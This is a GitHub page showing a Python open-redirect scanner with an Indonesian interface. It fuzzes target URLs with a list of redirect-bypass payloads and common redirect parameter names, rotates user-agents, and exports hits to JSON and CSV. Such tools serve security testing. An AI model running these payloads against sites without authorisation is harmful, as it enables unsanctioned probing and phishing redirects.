-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathopenredirect.py
More file actions
329 lines (297 loc) · 9.33 KB
/
openredirect.py
File metadata and controls
329 lines (297 loc) · 9.33 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
# Github: https://github.com/denoyey/Open-Redirect
# File: openredirect.py
# Python script to scan for open redirects
# This script checks URLs for open redirect vulnerabilities by testing various payloads
import requests
import urllib.parse
import json
import csv
import os
import random
import time
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor
from colorama import Fore, Style, init
init(autoreset=True)
REDIRECT_DOMAIN = "bing.com"
TIMEOUT = 5
THREADS = 10
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
"(KHTML, like Gecko) Version/15.6 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 "
"(KHTML, like Gecko) Version/16.0 Mobile/15E148 Safari/604.1",
]
def get_headers():
return {
"User-Agent": random.choice(USER_AGENTS),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"DNT": "1",
}
bypass_payloads = [
"https://bing.com",
"//bing.com",
"///bing.com",
"/\\bing.com",
"https:/bing.com",
"http://bing.com",
"https://bing.com/",
"https://www.bing.com",
"https://bing%E3%80%82com",
"https://bing%252ecom",
"https%3A%2F%2Fbing.com",
"%68%74%74%70%73%3A%2F%2Fbing.com",
"https://bing.com/%2e%2e",
"https://bing.com/%2f%2e%2e",
"https://bing.com/%2f..",
"https://bing.com%2e%2e",
"https://bing.com%2f%2e%2e",
"https://bing.com/..;/",
"https://bing.com\\..\\",
"https://bing.com\\..",
"%09/https://bing.com",
"%5c/https://bing.com",
"%2F/bing.com",
"%0Dbing.com",
"%0Abing.com",
"%00https://bing.com",
"%2e%2e/https://bing.com",
"https:http://bing.com",
"https://@bing.com",
"https://bing.com#@bing.com",
"https://bing.com?@bing.com",
"https://bing.com%23@bing.com",
"http://bing.com%3Fredirect=http://google.com",
"https://bing.com?redirect=https://bing.com",
"/redirect?next=https://bing.com",
"///bing.com/%2e%2e",
"///bing.com/",
"//bing.com#",
"//bing.com%00.example.com",
"//bing.com%01.example.com",
"https://bing.com/http://bing.com",
"https://bing.com?url=https://bing.com",
"https://bing.com?redirect=http://bing.com",
"%252F%252Fbing.com",
"%2F%2Fbing.com",
"%252e%252e/https://bing.com",
]
redirect_params = [
"redir",
"redirect_url",
"redirect_uri",
"redirectUrl",
"RedirectURL",
"redir_url",
"rediruri",
"redir_uri",
"redirect_to",
"redirectTo",
"redirectlink",
"goto",
"out",
"continue",
"continueUrl",
"RelayState",
"checkout_url",
"returnurl",
"returnURL",
"ReturnURL",
"returl",
"ret_url",
"external_url",
"externalLink",
"back",
"callback",
"cb",
"open",
"openurl",
"open_url",
"from",
"to",
"desturl",
"dest_url",
"url_redirect",
"jump",
"jump_to",
"go_url",
"next_page",
"data",
"uri",
"navigation",
"nav",
"source",
"surl",
"targeturl",
"url_dest",
"final",
"finalurl",
"fetch",
"targetURI",
"redirTo",
"ref",
"forward",
"fwd",
"goToUrl",
"click_url",
"track_url",
]
def logo():
github_url = "GITHUB: https://github.com/denoyey/Open-Redirect"
print(
rf"""{Fore.LIGHTMAGENTA_EX}
____ ____ _____ _ ____ _____ ____ _ ____ _____ ____ _____
/ _ \/ __\/ __// \ /| / __\/ __// _ \/ \/ __\/ __// _Y__ __\
| / \|| \/|| \ | |\ ||_____ | \/|| \ | | \|| || \/|| \ | / / \
| \_/|| __/| /_ | | \||\____\| /| /_ | |_/|| || /| /_ | \_ | |
\____/\_/ \____\\_/ \| \_/\_\\____\\____/\_/\_/\_\\____\\____/ \_/
{Style.RESET_ALL}
{Fore.LIGHTYELLOW_EX}{github_url}{Style.RESET_ALL}
"""
)
def clear_screen():
os.system("cls" if os.name == "nt" else "clear")
def is_valid_url(url):
try:
parsed = urllib.parse.urlparse(url)
return parsed.scheme in ["http", "https"] and parsed.netloc
except:
return False
def log(msg, file=None):
now = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")
print(f"{now} {msg}")
if file:
file.write(f"{now} {msg}\n")
def scan_url(base_url):
results = []
for param in redirect_params:
for payload in bypass_payloads:
encoded = urllib.parse.quote(payload, safe="")
full_url = f"{base_url}?{param}={encoded}"
headers = get_headers()
try:
res = requests.get(
full_url, headers=headers, allow_redirects=False, timeout=TIMEOUT
)
if res.status_code in [301, 302, 303, 307, 308]:
loc = res.headers.get("Location", "")
if REDIRECT_DOMAIN in urllib.parse.urlparse(loc).netloc:
results.append(
{
"target": base_url,
"parameter": param,
"payload": payload,
"test_url": full_url,
"redirect_to": loc,
"status_code": res.status_code,
}
)
return results
except requests.RequestException:
continue
time.sleep(random.uniform(0.1, 0.5))
return results
def process_url(url, file, data):
if not is_valid_url(url):
log(f"\n{Fore.YELLOW}[!] Invalid URL: {url}{Style.RESET_ALL}", file)
return
result = scan_url(url)
if result:
entry = result[0]
log(
f"\n{Fore.GREEN}[VULN] {entry['test_url']} -> {entry['redirect_to']} [HTTP {entry['status_code']}]",
file,
)
data.append(entry)
else:
log(f"\n{Fore.RED}[SAFE] {url}{Style.RESET_ALL}", file)
def export(data):
if not data:
print(f"\n{Fore.CYAN}[i] Tidak ada hasil untuk diekspor.{Style.RESET_ALL}")
return
with open("result.json", "w") as jf:
json.dump(data, jf, indent=2)
print(f"{Fore.CYAN}[✔] Disimpan ke result.json{Style.RESET_ALL}")
with open("result.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(
cf,
fieldnames=[
"target",
"parameter",
"payload",
"test_url",
"redirect_to",
"status_code",
],
)
writer.writeheader()
writer.writerows(data)
print(f"\n{Fore.CYAN}[✔] Disimpan ke result.csv{Style.RESET_ALL}")
def scan_from_file(path):
if not os.path.exists(path):
print(f"\n{Fore.YELLOW}[!] File tidak ditemukan: {path}{Style.RESET_ALL}")
return
results = []
with open("log.txt", "w") as log_file, open(path, "r") as f:
targets = [line.strip() for line in f if line.strip()]
log(f"\n🔍 Memulai scan {len(targets)} URL...\n", log_file)
with ThreadPoolExecutor(max_workers=THREADS) as executor:
for url in targets:
executor.submit(process_url, url, log_file, results)
export(results)
def scan_single_url():
url = input(
"\nMasukkan URL target (contoh: https://example.com/redirect?url=)\n>> "
).strip()
results = []
with open("log.txt", "w") as log_file:
process_url(url, log_file, results)
export(results)
def main():
try:
while True:
clear_screen()
logo()
print(
f"""
[ -------- MENU -------- ]
[1] Scan satu URL
[2] Scan dari file list
[0] Keluar
"""
)
pilihan = input("Pilih mode (1/2) >> ").strip()
if pilihan == "1":
clear_screen()
logo()
scan_single_url()
elif pilihan == "2":
clear_screen()
logo()
path = input("Masukkan path file .txt: ").strip()
scan_from_file(path)
elif pilihan.lower() == "0":
clear_screen()
logo()
print(
f"\n{Fore.GREEN}[!] Terimakasih sudah menggunakan tools ini :D{Style.RESET_ALL}"
)
break
else:
print(f"\n{Fore.RED}[!] Pilihan tidak dikenali.{Style.RESET_ALL}")
input(f"\n{Fore.BLUE}[Tekan ENTER]{Style.RESET_ALL}")
except KeyboardInterrupt:
print(f"\n\n{Fore.YELLOW}[!] Pemindaian dibatalkan.{Style.RESET_ALL}")
except Exception as e:
print(f"\n\n{Fore.RED}[!] Terjadi kesalahan: {e}{Style.RESET_ALL}")
if __name__ == "__main__":
main()